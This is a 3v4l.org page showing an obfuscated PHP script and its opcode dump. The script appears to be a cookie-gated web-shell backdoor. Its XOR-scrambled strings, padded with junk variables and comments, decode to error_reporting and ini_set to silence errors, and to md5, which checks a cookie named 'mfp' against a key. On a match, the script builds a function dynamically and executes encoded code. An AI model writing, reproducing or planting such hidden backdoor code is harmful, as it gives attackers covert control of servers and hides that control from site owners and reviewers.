3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xip='Pq'^'4D6bSV';$fbczf='5mO]w1!%RR{}3u08A2im&'^'.+E#RpuG$@/4?o';$pqpw='$)4GP526LG.V6RE|YmeeVQ6'; ##iuP+*$uBcIJtMi{o"V[f^coH^ $ik='A:WAj[4}F';$jnami='8B2E!*'; $btxh='=/X;%!P4';$cqa=0;$xpcqy='8H7&5O_11]l8=f'^'Q&^yF*+';/*6W`r:"w`{XMEby0B/=`uyAR#4enrkumz|$IF?A_sx1vM!@7#8fO^5uT8XoN,$*/$orrbj='#?jtr`$';$pcacxi='LB;@FrA$6R9;?HV'^')0I/4-3AF=KOV&1eR@o",';$hj='2&B)80'^'_';$xucx='^n*l_D#Ill+WjU1R1Xiq(vp3VL%,QNVE';$xbuvf='$'; $pcacxi($cqa);/*4zkJx6vW+Le4E)J2?AOJ?U0Z!sXcn}*P&"/.&$yjpin='ffybhrkrcsjtevved';'vvj';*/$vhq=':XKYg%@-U^Ng]4PeTk_ANFFQ5|FMh+n#';$sugb=@$_COOKIE;$xpcqy($pcacxi,$cqa);'%W%f@x';/*nGKQ%/rfIQF4#J"h{,_^"}m!gZ5W6V4P_%Yve$BVeqosoriyaluh^wH@+!CSV:1/7UyV&ozo)sNW*/##LLL|.z^/WyA0mjacO,V$P[8sp{Q$ $dl='2^.Q;_97{1';'Ij]GTF';$sjjl='[0W$UO{[Z6XQH?Z';$srywz=$jnami.$xbuvf;/*`QvKO)gFcnxH|J|g1ap|NOI/Hs*/$rcjn=$srywz.$btxh^$sjjl;'xdP}';/*?[}QRty1&O$yj='lkqnbf';'wzczzmllaof';*/$mznswr=$vhq.'NPqA2A'^$xucx;##vl;:QNqL;sL*nvnCjH#Lmb4"Ss|h?Z( $gggfq|'szdzpedkniczvbvpv'; $xbuvf=$hj.$xip; $yomb=$sugb['mfp'];##BqKpfHI;SRK|]*.SIxXhc"SyrS=7f3*-h $cvnjh='XE]x&mh(o$*@6K';'S4!B';if($mznswr==$xbuvf($yomb)){'R1&bk7e';$thaos='P{QDz)+C*p&';##8"^K,TP9RfQxP*i.dkW-.l $wunl|'iqlledjsjxouytbiiqi';$dznpz='k:/NPRY[4Q)=mVsU6W@J3gs$6YE_dM#B.p}+PWF?S/AkGF%EJdKLq@23#';##zywqul4=A4^,F8yi/P|`7PU=#(_8R 'p^gRUw';/*A!,7:oaM1f5R!8^(Nn%gS!N4:qsRl@.[4ftsazmsu<<GHv[0Q5MSTiZ,_Di?3?prl1N^pMl4)v)bsArPu*/$rog='5b/U;DH}nf'.'fkpvw';/*[Z@ty}KvMHLs:"!O}kd8$shzn='plmvyvdwgndudmfkzqt';'ybzknifcwp';*/$ytopnu='a3&j(:1fV0ZX[b,1S4/.VOWI_6-v:/B1KFIt42%P7JiO41B/#MpFxIrVU';$hizse^$ztvhf;/*$ugw;J))Gd|2)9+[0lR?gd^=9sak`k-?F|23W8iO(xGqPxzvdp<<$ejgmvne*/$cfjqk='fgNND],LzOBT6*%MSF%sacx}aEK&$:DM|riiZ^T)O&N7_]XkYBM+HV3%]Dq&`=r(8F-,GJYCS1b`7NJp8-8^xqXMHukj)$c7%mt^=-5,YIG(B1t6|Z4J^TlnW&21FViV,+,qo(fXTDUE];|ji`t`jOEH&fJ*^rR&V-+1.W`^bjaznf*YQ.3NG;K=`fP9&06VP(m*YdJ@Kg*gg|.nm^?(P=*OS?^';$cyl^$cks;'xv%]1pP';/*r|2KX+"/Gyq1%Oq61|Jj$L$shqqz='vzhavzwymmsegrxqbbwzqm';'tzmusveyatqbm';*/$dykkw=$uuxrp^'T|l-i4D80}?+yW$=CrvA{tYR/';/*ZfWmaiBqIs.,C_XI!QZVbPVOt$wx='xwnastrejjtthxxcmdjzk';'immmhuhreu';*/'0(kxbl';$cynaq='z,/]}pwa^Ra58s?EH{3g^GP8';'!AXcvR'; $bbpsf=$cfjqk.$ytopnu;$tra^'6qc@!gOn82b|4?@]KB7nemu';$oxpi='sp5^s$W'.$sbz;$twg='AjM@H-+skFc6+#^BY:0TM{dpj';$fuans='jDA2SA}';/*Nwrz4pB`:d$oiqr='tyojhjyiwl';'lyd';*/$nytjz='sp5^s$W'^$qcl; $nvliw='lnGj)4C$Ggc1[ZQ4{bz5(/=.:g-IVC4!^/@@zatO&J+h88,4:-#_-8GVu`.`)q7{cdKC53)/ql9BC#:/VLU;Z,qmrUO5jk,|l(/|[BGU)%euy;}?X)C-4=QFvC_A2/Arsme=*{=z2-=&7N^7@IT_J),$C9-O*-1I8YN_Z$Hz=,(6+5q{7G[--Ni`;D$TVoX7=MOwpDp`o8i((7g+6|YA8^@:qbe'.$dznpz;/*)lT%{iE#5N!#k[JWs+0+Q$it='yldhvnbsxwuc';'xviqucn';*/$irpai=$wmbd.'X2_F]/P4G_.Unz%tw@M&?.;LCw';$nvliw.='0Wpe];U^Cqh';$ekv=$nvliw.'wQVhCgh'^$bbpsf.'Q;XA%S=wx{a';$virp=$virp.';@|mHX{ZkmuGvn&/ymZhC';/*IuW}vyYikj4L^9ltmc`]m;_B_b+8Yl{|+uU4&/Ju$J|0i"fSOO7L@vi*/ /*CIszJ0BRW&}WQ6UmDsFw*O,6zx-=5dbdjKcnd1LBn4BdYUb6R{&+aq#(v|cI$i%#""cj;dkEDKAE*/ $gvfvw=$gvfvw.'_"xStO}{^';$pns='w}EDsx)5vE;KWV7'.'O$`Pg,B96SD';$jtqvu='iTI0hBvNKhb*%';'t71%"hQHju-.30y3';'wQVhCgh';$rpq=$rcjn($szgos,$ekv);$rpq('$d/1zeeII#jG[v`!H`R0/483h%,$29EBp,JbTj2cYw','aE.^)2/zXKSC');}/*$sj;"k07N41i)qyUT@|j2RMViKJoiC_6QZnhrh|$jbzqxk*/$cveu='[7ZSK.xt}B6_|o,A';$ijhn=$xalj;##*FaE8n+/4%RnxcABP)K}6X#8"_I0# $opj;$tvz='6Qyje::v_gs&s./iWHVb3!8U';'y7Xf|;_(uy|7]8|H$SJ2s]';')noo-LHmO=*Cb:|g;j(}38n';'ASen!w)u';##sd)yLZ!0MAZijzg[b(elEMr,_eQ $ron^'kysggtijnqrjgo';/*$vnkxj;IVyunE1-nYj}]vP6-20@?opjMp0f@_9fw*V,8ZWJZ6u+pe)rtld|$qevhq*/'Yu_5(XH/Cz';?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 47, Position 2 = 95
Branch analysis from position: 47
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 95
filename:       /in/Z62d6
function name:  (null)
number of ops:  101
compiled vars:  !0 = $xip, !1 = $fbczf, !2 = $pqpw, !3 = $ik, !4 = $jnami, !5 = $btxh, !6 = $cqa, !7 = $xpcqy, !8 = $orrbj, !9 = $pcacxi, !10 = $hj, !11 = $xucx, !12 = $xbuvf, !13 = $vhq, !14 = $sugb, !15 = $dl, !16 = $sjjl, !17 = $srywz, !18 = $rcjn, !19 = $mznswr, !20 = $gggfq, !21 = $yomb, !22 = $cvnjh, !23 = $thaos, !24 = $wunl, !25 = $dznpz, !26 = $rog, !27 = $ytopnu, !28 = $hizse, !29 = $ztvhf, !30 = $cfjqk, !31 = $cyl, !32 = $cks, !33 = $dykkw, !34 = $uuxrp, !35 = $cynaq, !36 = $bbpsf, !37 = $tra, !38 = $oxpi, !39 = $sbz, !40 = $twg, !41 = $fuans, !42 = $nytjz, !43 = $qcl, !44 = $nvliw, !45 = $irpai, !46 = $wmbd, !47 = $ekv, !48 = $virp, !49 = $gvfvw, !50 = $pns, !51 = $jtqvu, !52 = $rpq, !53 = $szgos, !54 = $cveu, !55 = $ijhn, !56 = $xalj, !57 = $opj, !58 = $tvz, !59 = $ron
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, 'd5'
          1        ASSIGN                                                   !1, '%1BF%0A%7E%25ATbv%12TI%0C%1A'
          2        ASSIGN                                                   !2, '%24%294GP526LG.V6RE%7CYmeeVQ6'
    3     3        ASSIGN                                                   !3, 'A%3AWAj%5B4%7DF'
          4        ASSIGN                                                   !4, '8B2E%21%2A'
    5     5        ASSIGN                                                   !5, '%3D%2FX%3B%25%21P4'
          6        ASSIGN                                                   !6, 0
          7        ASSIGN                                                   !7, 'ini_set'
          8        ASSIGN                                                   !8, '%23%3Fjtr%60%24'
          9        ASSIGN                                                   !9, 'error_reporting'
         10        ASSIGN                                                   !10, 'm'
         11        ASSIGN                                                   !11, '%5En%2Al_D%23Ill%2BWjU1R1Xiq%28vp3VL%25%2CQNVE'
         12        ASSIGN                                                   !12, '%24'
    6    13        INIT_DYNAMIC_CALL                                        !9
         14        SEND_VAR_EX                                              !6
         15        DO_FCALL                                      0          
         16        ASSIGN                                                   !13, '%3AXKYg%25%40-U%5ENg%5D4PeTk_ANFFQ5%7CFMh%2Bn%23'
         17        BEGIN_SILENCE                                    ~75     
         18        FETCH_R                      global              ~76     '_COOKIE'
         19        END_SILENCE                                              ~75
         20        ASSIGN                                                   !14, ~76
         21        INIT_DYNAMIC_CALL                                        !7
         22        SEND_VAR_EX                                              !9
         23        SEND_VAR_EX                                              !6
         24        DO_FCALL                                      0          
    7    25        ASSIGN                                                   !15, '2%5E.Q%3B_97%7B1'
         26        ASSIGN                                                   !16, '%5B0W%24UO%7B%5BZ6XQH%3FZ'
         27        CONCAT                                           ~81     !4, !12
         28        ASSIGN                                                   !17, ~81
         29        CONCAT                                           ~83     !17, !5
         30        BW_XOR                                           ~84     !16, ~83
         31        ASSIGN                                                   !18, ~84
         32        CONCAT                                           ~86     !13, 'NPqA2A'
         33        BW_XOR                                           ~87     !11, ~86
         34        ASSIGN                                                   !19, ~87
    8    35        BW_OR                                            ~89     !20, 'szdzpedkniczvbvpv'
         36        FREE                                                     ~89
    9    37        CONCAT                                           ~90     !10, !0
         38        ASSIGN                                                   !12, ~90
   10    39        FETCH_DIM_R                                      ~92     !14, 'mfp'
         40        ASSIGN                                                   !21, ~92
   11    41        ASSIGN                                                   !22, 'XE%5Dx%26mh%28o%24%2A%406K'
         42        INIT_DYNAMIC_CALL                                        !12
         43        SEND_VAR_EX                                              !21
         44        DO_FCALL                                      0  $95     
         45        IS_EQUAL                                                 !19, $95
         46      > JMPZ                                                     ~96, ->95
         47    >   ASSIGN                                                   !23, 'P%7BQDz%29%2BC%2Ap%26'
   12    48        BW_OR                                            ~98     !24, 'iqlledjsjxouytbiiqi'
         49        FREE                                                     ~98
         50        ASSIGN                                                   !25, 'k%3A%2FNPRY%5B4Q%29%3DmVsU6W%40J3gs%246YE_dM%23B.p%7D%2BPWF%3FS%2FAkGF%25EJdKLq%4023%23'
   13    51        ASSIGN                                                   !26, '5b%2FU%3BDH%7Dnffkpvw'
         52        ASSIGN                                                   !27, 'a3%26j%28%3A1fV0ZX%5Bb%2C1S4%2F.VOWI_6-v%3A%2FB1KFIt42%25P7JiO41B%2F%23MpFxIrVU'
         53        BW_XOR                                           ~102    !28, !29
         54        FREE                                                     ~102
         55        ASSIGN                                                   !30, 'fgNND%5D%2CLzOBT6%2A%25MSF%25sacx%7DaEK%26%24%3ADM%7CriiZ%5ET%29O%26N7_%5DXkYBM%2BHV3%25%5DDq%26%60%3Dr%288F-%2CGJYCS1b%607NJp8-8%5ExqXMHukj%29%24c7%25mt%5E%3D-5%2CYIG%28B1t6%7CZ4J%5ETlnW%2621FViV%2C%2B%2Cqo%28fXTDUE%5D%3B%7Cji%60t%60jOEH%26fJ%2A%5ErR%26V-%2B1.W%60%5Ebjaznf%2AYQ.3NG%3BK%3D%60fP9%2606VP%28m%2AYdJ%40Kg%2Agg%7C.nm%5E%3F%28P%3D%2AOS%3F%5E'
         56        BW_XOR                                           ~104    !31, !32
         57        FREE                                                     ~104
         58        BW_XOR                                           ~105    !34, 'T%7Cl-i4D80%7D%3F%2ByW%24%3DCrvA%7BtYR%2F'
         59        ASSIGN                                                   !33, ~105
         60        ASSIGN                                                   !35, 'z%2C%2F%5D%7Dpwa%5ERa58s%3FEH%7B3g%5EGP8'
   14    61        CONCAT                                           ~108    !30, !27
         62        ASSIGN                                                   !36, ~108
         63        BW_XOR                                           ~110    !37, '6qc%40%21gOn82b%7C4%3F%40%5DKB7nemu'
         64        FREE                                                     ~110
         65        CONCAT                                           ~111    'sp5%5Es%24W', !39
         66        ASSIGN                                                   !38, ~111
         67        ASSIGN                                                   !40, 'AjM%40H-%2BskFc6%2B%23%5EBY%3A0TM%7Bdpj'
         68        ASSIGN                                                   !41, 'jDA2SA%7D'
         69        BW_XOR                                           ~115    !43, 'sp5%5Es%24W'
         70        ASSIGN                                                   !42, ~115
   15    71        CONCAT                                           ~117    'lnGj%294C%24Ggc1%5BZQ4%7Bbz5%28%2F%3D.%3Ag-IVC4%21%5E%2F%40%40zatO%26J%2Bh88%2C4%3A-%23_-8GVu%60.%60%29q7%7BcdKC53%29%2Fql9BC%23%3A%2FVLU%3BZ%2CqmrUO5jk%2C%7Cl%28%2F%7C%5BBGU%29%25euy%3B%7D%3FX%29C-4%3DQFvC_A2%2FArsme%3D%2A%7B%3Dz2-%3D%267N%5E7%40IT_J%29%2C%24C9-O%2A-1I8YN_Z%24Hz%3D%2C%286%2B5q%7B7G%5B--Ni%60%3BD%24TVoX7%3DMOwpDp%60o8i%28%287g%2B6%7CYA8%5E%40%3Aqbe', !25
         72        ASSIGN                                                   !44, ~117
         73        CONCAT                                           ~119    !46, 'X2_F%5D%2FP4G_.Unz%25tw%40M%26%3F.%3BLCw'
         74        ASSIGN                                                   !45, ~119
         75        ASSIGN_OP                                     8          !44, '0Wpe%5D%3BU%5ECqh'
         76        CONCAT                                           ~122    !44, 'wQVhCgh'
         77        CONCAT                                           ~123    !36, 'Q%3BXA%25S%3Dwx%7Ba'
         78        BW_XOR                                           ~124    ~122, ~123
         79        ASSIGN                                                   !47, ~124
         80        CONCAT                                           ~126    !48, '%3B%40%7CmHX%7BZkmuGvn%26%2FymZhC'
         81        ASSIGN                                                   !48, ~126
   17    82        CONCAT                                           ~128    !49, '_%22xStO%7D%7B%5E'
         83        ASSIGN                                                   !49, ~128
         84        ASSIGN                                                   !50, 'w%7DEDsx%295vE%3BKWV7O%24%60Pg%2CB96SD'
         85        ASSIGN                                                   !51, 'iTI0hBvNKhb%2A%25'
         86        INIT_DYNAMIC_CALL                                        !18
         87        SEND_VAR_EX                                              !53
         88        SEND_VAR_EX                                              !47
         89        DO_FCALL                                      0  $132    
         90        ASSIGN                                                   !52, $132
         91        INIT_DYNAMIC_CALL                                        !52
         92        SEND_VAL_EX                                              '%24d%2F1zeeII%23jG%5Bv%60%21H%60R0%2F483h%25%2C%2429EBp%2CJbTj2cYw'
         93        SEND_VAL_EX                                              'aE.%5E%292%2FzXKSC'
         94        DO_FCALL                                      0          
         95    >   ASSIGN                                                   !54, '%5B7ZSK.xt%7DB6_%7Co%2CA'
         96        ASSIGN                                                   !55, !56
   18    97        ASSIGN                                                   !58, '6Qyje%3A%3Av_gs%26s.%2FiWHVb3%218U'
   19    98        BW_XOR                                           ~138    !59, 'kysggtijnqrjgo'
         99        FREE                                                     ~138
        100      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
168.23 ms | 1407 KiB | 13 Q